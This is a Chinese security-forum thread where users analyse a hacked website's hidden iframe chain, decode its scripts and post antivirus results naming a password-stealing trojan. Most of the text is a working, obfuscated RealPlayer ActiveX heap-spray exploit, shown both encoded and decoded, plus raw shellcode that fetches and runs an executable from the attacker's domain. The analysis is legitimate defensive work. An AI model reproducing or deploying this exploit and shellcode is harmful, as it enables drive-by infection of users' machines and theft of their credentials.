毒网一个，网站经过加密，喜欢解密的进

Cloud018

某网站被
<iframe src=http://ccc.sqmnoopt.com/root/haha.htm width=1 height=1></iframe>
http://ccc.sqmnoopt.com/root/haha.htm 内容
================================
<iframe src="baidua.htm" width=100 height=0></iframe>
<iframe src="real.htm" width=100 height=0></iframe>
<iframe src="14a.htm" width=100 height=0></iframe>
================================

其中 real.htm 经过加密，卡7 未报

还有，卡7 报的
=============================
卡巴斯基互联网安全套装 7.0

The requested URL http://ccc.sqmnoopt.com/root/baidu.htm is infected with Exploit.JS.RealPlr.bl virus
=============================

solcroft

real.htm = http://mm.sqmnoopt.com/mm/mm.exe

tanlimo

http://mm.sqmnoopt.com/mm/mm.exe

solcroft

baidua.htm = 14a.htm = 404

冷冷

你是用freshow吗？
可以写一个教程吗？
我们太菜啦！

solcroft

动手解密
真的不行的时候用local proxy
freshow我也还不太清楚，还是问jimmyleo版主去

solcroft

ps: 最近发现dikex的blog时时会有javascript解密实例
很好很强大
有兴趣学的话建议参考

tanlimo

http://ccc.sqmnoopt.com/root/haha.htm

check!

结果
<iframe src="baidua.htm" width=100 height=0></iframe>
<iframe src="real.htm" width=100 height=0></iframe>
<iframe src="14a.htm" width=100 height=0></iframe>

qeye!

[frame]baidua.htm失败
[frame]real.htm成功
[frame]14a.htm失败

http://ccc.sqmnoopt.com/root/real.htm

check!

结果
<sCrIpT lAnGuAgE="jAvAsCrIpT">
var Ma1=["\x25\x37\x35\x25\x30\x36\x25\x37\x34\x25\x30\x34","\x25\x37\x66\x25\x61\x35\x25\x36\x30","\x25\x34\x66\x25\x37\x31\x25\x61\x34\x25\x36\x30","\x25\x36\x33\x25\x31\x31\x25\x30\x38\x25\x36\x30","\x25\x36\x33\x25\x31\x31\x25\x30\x34\x25\x36\x30","\x25\x37\x39\x25\x33\x31\x25\x30\x31\x25\x36\x30","\x25\x37\x39\x25\x33\x31\x25\x30\x39\x25\x36\x30","\x25\x35\x31\x25\x31\x31\x25\x37\x30\x25\x36\x33"];function cike(){var aWVZl2=navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"]["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]();if(aWVZl2["\x69\x6e\x64\x65\x78\x4f\x66"]("\x6d\x73\x69\x65 \x36")==-1&&aWVZl2["\x69\x6e\x64\x65\x78\x4f\x66"]("\x6d\x73\x69\x65 \x37")==-1)return;if(aWVZl2["\x69\x6e\x64\x65\x78\x4f\x66"]("\x6e\x74 \x35\x2e")==-1)return;VulObject="\x49\x45\x61\x61\x52"+"\x50\x43\x61\x61\x61\x74\x6c\x2e\x49"+"\x45\x61\x61\x61\x52\x50"+"\x43\x74\x61\x61\x61\x6c\x2e\x31";try{Real=new ActiveXObject(VulObject["\x72\x65\x70\x6c\x61\x63\x65"](/a/g,""))}catch(error){return}RealVersion=Real["\x50\x6c\x61\x79\x65\x72\x50\x72\x6f\x70\x65\x72\x74\x79"]("\x50\x52\x4f\x44\x55\x43\x54\x56\x45\x52\x53\x49\x4f\x4e");sdfdgdfg="";cvbcbb=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[0]);for(i=0;i<32*148;i++)sdfdgdfg+="\x53";if(RealVersion["\x69\x6e\x64\x65\x78\x4f\x66"]("\x36\x2e\x30\x2e\x31\x34\x2e")==-1){if(navigator["\x75\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"]["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()=="\x7a\x68\x2d\x63\x6e")ret=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[1]);else if(navigator["\x75\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"]["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()=="\x65\x6e\x2d\x75\x73")ret=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[2]);else return}else if(RealVersion=="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x34\x34")ret=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[3]);else if(RealVersion=="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x35\x30")ret=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[4]);else if(RealVersion=="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x35\x32")ret=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[5]);else if(RealVersion!="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x34\x33")ret=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[6]);else if(RealVersion!="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x33\x36")ret=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Ma1[7]);else return;if(RealVersion["\x69\x6e\x64\x65\x78\x4f\x66"]("\x36\x2e\x30\x2e\x31\x30\x2e")!=-1){for(i=0;i<4;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}else if(RealVersion["\x69\x6e\x64\x65\x78\x4f\x66"]("\x36\x2e\x30\x2e\x31\x31\x2e")!=-1){for(i=0;i<6;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}else if(RealVersion["\x69\x6e\x64\x65\x78\x4f\x66"]("\x36\x2e\x30\x2e\x31\x32\x2e")!=-1){for(i=0;i<9;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}else if(RealVersion["\x69\x6e\x64\x65\x78\x4f\x66"]("\x36\x2e\x30\x2e\x31\x34\x2e")!=-1){for(i=0;i<10;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}qwfgsg="\x4c\x4c\x4c\x4c\\\x58\x58\x58\x58\x58\x4c\x44";Shell="\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x78\x6b\x52\x30\x71\x4a\x50\x4a\x50\x33\x59\x59\x30\x66\x4e\x59\x77\x4c\x45\x51\x6b\x30\x70\x34\x37\x7a\x70\x66\x4b\x52\x4b\x4a\x4a\x4b\x56\x65\x39\x78\x4a\x4b\x59\x6f\x49\x6f\x59\x6f\x6c\x4f\x6f\x43\x51\x76\x33\x56\x73\x56\x77\x4c\x75\x52\x4b\x77\x52\x76\x61\x76\x62\x46\x51\x76\x4a\x4d\x57\x56\x73\x5a\x7a\x4d\x46\x76\x30\x7a\x38\x4b\x38\x6d\x77\x56\x50\x6e\x78\x6d\x6d\x6e\x38\x6d\x44\x55\x42\x7a\x4a\x4d\x45\x42\x73\x48\x75\x4e\x33\x55\x4c\x55\x68\x6d\x66\x78\x57\x36\x70\x65\x4d\x4d\x5a\x4d\x37\x58\x50\x72\x66\x35\x4e\x6b\x44\x70\x50\x31\x30\x37\x7a\x4d\x70\x59\x45\x35\x4d\x4d\x7a\x4d\x6a\x34\x34\x4c\x71\x78\x47\x4f\x4e\x75\x4b\x70\x54\x52\x72\x4e\x57\x4f\x56\x59\x4d\x35\x6d\x71\x71\x72\x77\x53\x4d\x54\x6e\x6f\x65\x6f\x74\x79\x30\x38\x4a\x4d\x6e\x4b\x4a\x4d\x67\x50\x77\x32\x70\x65\x79\x35\x4d\x67\x4d\x57\x51\x75\x4d\x77\x72\x75\x6e\x4f\x67\x70\x38\x6d\x70\x6e\x38\x6d\x37\x50\x72\x5a\x42\x45\x6c\x65\x6f\x57\x6e\x67\x32\x44\x52\x45\x4c\x67\x5a\x4d\x55\x36\x52\x45\x6f\x55\x4a\x4d\x6d\x4c\x48\x6d\x7a\x31\x4b\x55\x4f\x50\x43\x58\x48\x6d\x4c\x76\x66\x6c\x73\x52\x57\x4f\x4c\x4e\x76\x56\x72\x46\x50\x66\x63\x56\x79\x75\x6d\x70\x52\x4b\x70\x34\x64\x70\x4a\x39\x56\x51\x4d\x4a\x55\x6c\x78\x6d\x6d\x6e\x54\x4c\x32\x47\x57\x4f\x4c\x4e\x51\x4b\x65\x36\x70\x66\x51\x76\x58\x65\x4d\x70\x50\x75\x56\x50\x77\x50\x39\x76\x30\x58\x7a\x46\x72\x33\x4f\x6c\x39\x76\x52\x70\x7a\x46\x44\x78\x6d\x35\x4e\x6a\x71\x56\x78\x6d\x4c\x7a\x64\x4c\x53\x76\x54\x75\x6d\x49\x35\x61\x6c\x4a\x4d\x71\x71\x72\x61\x75\x57\x4a\x55\x57\x72\x68\x53\x33\x4f\x51\x57\x52\x55\x35\x51\x72\x45\x4e\x56\x63\x45\x36\x31\x76\x50\x55\x4f\x56\x74\x76\x54\x76\x34\x75\x50\x30\x44\x76\x4c\x59\x66\x51\x4f\x6a\x5a\x4d\x6f\x4a\x50\x36\x65\x65\x4d\x49\x76\x51\x6d\x46\x35\x66\x4c\x59\x50\x31\x6e\x72\x51\x45\x6d\x76\x79\x5a\x6b\x53\x6e\x46\x74\x53\x6f\x6f\x46\x57\x54\x74\x54\x70\x70\x35\x6f\x69\x6e\x54\x57\x4c\x67\x4f\x7a\x6d\x4d\x54\x6b\x38\x50\x55\x6f\x56\x4e\x45\x4e\x6e\x57\x30\x4a\x39\x6d\x49\x6e\x79\x57\x51\x53\x33\x54\x52\x47\x46\x56\x74\x36\x69\x45\x55\x54\x67\x74\x42\x77\x72\x74\x54\x73\x33\x72\x35\x72\x35\x50\x66\x45\x71\x54\x43\x75\x42\x67\x45\x47\x6f\x44\x55\x74\x52\x34\x43\x66\x6b\x76\x42\x34\x4f\x45\x44\x63\x33\x55\x55\x47\x62\x56\x69\x62\x34\x57\x6f\x35\x77\x65\x36\x56\x51\x56\x6f\x75\x58\x64\x63\x45\x4e\x65\x53\x74\x45\x70\x66\x54\x63\x37\x6e\x56\x6f\x55\x42\x64\x72\x66\x6e\x76\x74\x73\x33\x63\x37\x37\x72\x33\x56\x77\x5a\x77\x79\x47\x77\x37\x72\x64\x6a\x34\x4f\x53\x34\x44\x54\x77\x77\x36\x74\x75\x4f\x55\x77\x32\x46\x34\x53\x74\x54\x55\x5a\x76\x6b\x46\x69\x77\x78\x51\x76\x74\x73\x75\x64\x37\x5a\x36\x42\x76\x69\x52\x31\x67\x78\x55\x5a\x34\x49\x56\x67\x54\x42\x66\x52\x57\x79\x67\x50\x66\x6f\x75\x5a\x74\x43\x77\x57\x71\x76\x52\x48\x70\x74\x64\x34\x52\x50\x46\x5a\x56\x4f\x64\x6f\x50\x6d\x50\x6d\x76\x4e\x51\x63\x50\x71\x30\x6d\x32\x4e\x52\x4f\x32\x4f\x50\x70\x70\x74\x74\x6e\x61\x73\x50\x6f\x70\x6d\x76\x4f\x30\x6d\x50\x6d\x46\x4f\x50\x6d\x52\x4d\x56\x4e\x71\x75\x30\x78\x70\x65\x6d\x50\x47\x70";xcbfcxn=sdfdgdfg+qwfgsg+Shell;temp=0x8000;while(xcbfcxn["\x6c\x65\x6e\x67\x74\x68"]<temp)xcbfcxn+="\x6c\x69\x7a\x68\x65\x6e";var BFP3=["\x63\x3a\\\x50\x72\x6f\x67\x72\x61\x6d \x46\x69\x6c\x65\x73\\\x4e\x65\x74\x4d\x65\x65\x74\x69\x6e\x67\\\x2e\x2e\\\x2e\x2e\\\x57\x49\x4e\x44\x4f\x57\x53\\\x4d\x65\x64\x69\x61\\\x63\x68\x69\x6d\x65\x73\x2e\x77\x61\x76","\x63\x3a\\\x50\x72\x6f\x67\x72\x61\x6d \x46\x69\x6c\x65\x73\\\x4e\x65\x74\x4d\x65\x65\x74\x69\x6e\x67\\\x54\x65\x73\x74\x53\x6e\x64\x2e\x77\x61\x76","\x43\x3a\\\x57\x49\x4e\x44\x4f\x57\x53\\\x73\x79\x73\x74\x65\x6d\x33\x32\\\x42\x75\x7a\x7a\x69\x6e\x67\x42\x65\x65\x2e\x77\x61\x76","\x43\x3a\\\x57\x49\x4e\x44\x4f\x57\x53\\\x63\x6c\x6f\x63\x6b\x2e\x61\x76\x69","\x63\x3a\\\x50\x72\x6f\x67\x72\x61\x6d \x46\x69\x6c\x65\x73\\\x4e\x65\x74\x4d\x65\x65\x74\x69\x6e\x67\\\x2e\x2e\\\x2e\x2e\\\x57\x49\x4e\x44\x4f\x57\x53\\\x4d\x65\x64\x69\x61\\\x74\x61\x64\x61\x2e\x77\x61\x76","\x43\x3a\\\x57\x49\x4e\x44\x4f\x57\x53\\\x73\x79\x73\x74\x65\x6d\x33\x32\\\x4c\x6f\x6f\x70\x79\x4d\x75\x73\x69\x63\x2e\x77\x61\x76"];Real["\x49\x6d\x70\x6f\x72\x74"](BFP3[window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()*6)],xcbfcxn,"\x31\x32\x33\x34\x35\x36\x34\x35\x36",0,0)}cike();
</script>

ESC

<sCrIpT lAnGuAgE="jAvAsCrIpT">
var Ma1=["%75%06%74%04","%7f%a5%60","%4f%71%a4%60","%63%11%08%60","%63%11%04%60","%79%31%01%60","%79%31%09%60","%51%11%70%63"];function cike(){var aWVZl2=navigator["userAgent"]["toLowerCase"]();if(aWVZl2["indexOf"]("msie 6")==-1&&aWVZl2["indexOf"]("msie 7")==-1)return;if(aWVZl2["indexOf"]("nt 5.")==-1)return;VulObject="IEaaR"+"PCaaatl.I"+"EaaaRP"+"Ctaaal.1";try{Real=new ActiveXObject(VulObject["replace"](/a/g,""))}catch(error){return}RealVersion=Real["PlayerProperty"]("PRODUCTVERSION");sdfdgdfg="";cvbcbb=window["unescape"](Ma1[0]);for(i=0;i<32*148;i++)sdfdgdfg+="S";if(RealVersion["indexOf"]("6.0.14.")==-1){if(navigator["userLanguage"]["toLowerCase"]()=="zh-cn")ret=window["unescape"](Ma1[1]);else if(navigator["userLanguage"]["toLowerCase"]()=="en-us")ret=window["unescape"](Ma1[2]);else return}else if(RealVersion=="6.0.14.544")ret=window["unescape"](Ma1[3]);else if(RealVersion=="6.0.14.550")ret=window["unescape"](Ma1[4]);else if(RealVersion=="6.0.14.552")ret=window["unescape"](Ma1[5]);else if(RealVersion!="6.0.14.543")ret=window["unescape"](Ma1[6]);else if(RealVersion!="6.0.14.536")ret=window["unescape"](Ma1[7]);else return;if(RealVersion["indexOf"]("6.0.10.")!=-1){for(i=0;i<4;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}else if(RealVersion["indexOf"]("6.0.11.")!=-1){for(i=0;i<6;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}else if(RealVersion["indexOf"]("6.0.12.")!=-1){for(i=0;i<9;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}else if(RealVersion["indexOf"]("6.0.14.")!=-1){for(i=0;i<10;i++)sdfdgdfg=sdfdgdfg+cvbcbb;sdfdgdfg=sdfdgdfg+ret}qwfgsg="LLLL\XXXXXLD";Shell="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoPmPmvNQcPq0m2NRO2OPppttnasPopmvO0mPmFOPmRMVNqu0xpemPGp";xcbfcxn=sdfdgdfg+qwfgsg+Shell;temp=0x8000;while(xcbfcxn["length"]<temp)xcbfcxn+="lizhen";var BFP3=["c:\Program Files\NetMeeting\..\..\WINDOWS\Media\chimes.wav","c:\Program Files\NetMeeting\TestSnd.wav","C:\WINDOWS\system32\BuzzingBee.wav","C:\WINDOWS\clock.avi","c:\Program Files\NetMeeting\..\..\WINDOWS\Media\tada.wav","C:\WINDOWS\system32\LoopyMusic.wav"];Real["Import"](BFP3[window["Math"]["floor"](window["Math"]["random"]()*6)],xcbfcxn,"123456456",0,0)}cike();
</script>

右转左

alpha 2

\x19\xD9\xD9\xD9\xD9\xD9\xD9\xD9\xD9\x21\xCA\x48\x30\x20\x7B\x51\x22\x52\x62\x10\x62\x52\xD0\xC1\x55\xE9\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x66\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x8F\xB3\x66\x66\x66\x3C\x02\xC7\x56\x66\x66\x66\xED\x26\x6A\xED\x16\x7A\xCB\xED\x26\x6E\xED\xBE\xED\x15\x5A\xED\x12\x78\x1E\x65\x95\xED\x18\x46\x65\x9D\xED\x28\x72\x55\x8B\x30\x31\x37\xED\x59\x65\x9D\xED\x94\x0C\x68\x3F\x95\xC0\x12\x6E\x3F\x39\xE5\xA1\x62\x23\x84\x8F\x3F\x39\x38\xED\xAB\xED\x20\x42\x65\xA5\xB7\x87\x65\xA7\x55\xAF\x00\xED\x6E\xED\x20\x7A\x65\xA5\xA7\x87\x64\x65\xA7\xED\x66\x65\xA5\xED\x9C\xED\x91\xE5\xA0\x68\xED\xB6\x0C\x62\x3F\x8E\x36\x66\x66\x66\xE5\xA0\x6B\x34\x30\x99\x31\x9A\x3C\xED\xBE\x0C\x67\x3F\x8E\x5B\x66\x66\x66\xE5\xA0\x75\x30\x20\xE6\x58\xE6\x13\x9C\xE6\x50\xE6\x38\xE5\x8A\x46\xED\xBA\x0C\x46\x35\x99\x31\x8A\xA1\x62\x65\x3A\x07\x48\x03\xA1\x22\x65\x62\x1E\x03\x66\x66\x55\xA6\x36\x36\x35\x30\x36\x99\x31\x9A\xED\xBA\x36\x35\x99\x31\x96\x36\x99\x31\x92\x55\xA6\xCA\xE3\xA6\x13\x9F\x37\x34\x30\x35\x99\xB4\x3C\x3F\xCD\x84\x88\x55\xA6\xA5\x8E\x40\x99\x99\x99\x21\x03\x12\x36\x14\x09\x05\x27\x02\x02\x14\x03\x15\x15\x66\x21\x03\x12\x35\x1F\x15\x12\x03\x0B\x22\x0F\x14\x03\x05\x12\x09\x14\x1F\x27\x66\x31\x0F\x08\x23\x1E\x03\x05\x66\x23\x1E\x0F\x12\x32\x0E\x14\x03\x07\x02\x66\x2A\x09\x07\x02\x2A\x0F\x04\x14\x07\x14\x1F\x27\x66\x13\x14\x0A\x0B\x09\x08\x66\x33\x34\x2A\x22\x09\x11\x08\x0A\x09\x07\x02\x32\x09\x20\x0F\x0A\x03\x27\x66\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x6D\x2E\x73\x71\x6D\x6E\x6F\x6F\x70\x74\x2E\x63\x6F\x6D\x2F\x6D\x6D\x2F\x6D\x6D\x2E\x65\x78\x65\x80

右转左

extremexor

结果
儋儋儋儋!蔋0 {Q"RbbR辛U殡ZJ3蒮?

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.PSW.Win32.OnlineGames.GEN

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.28.32

gmk111

无解~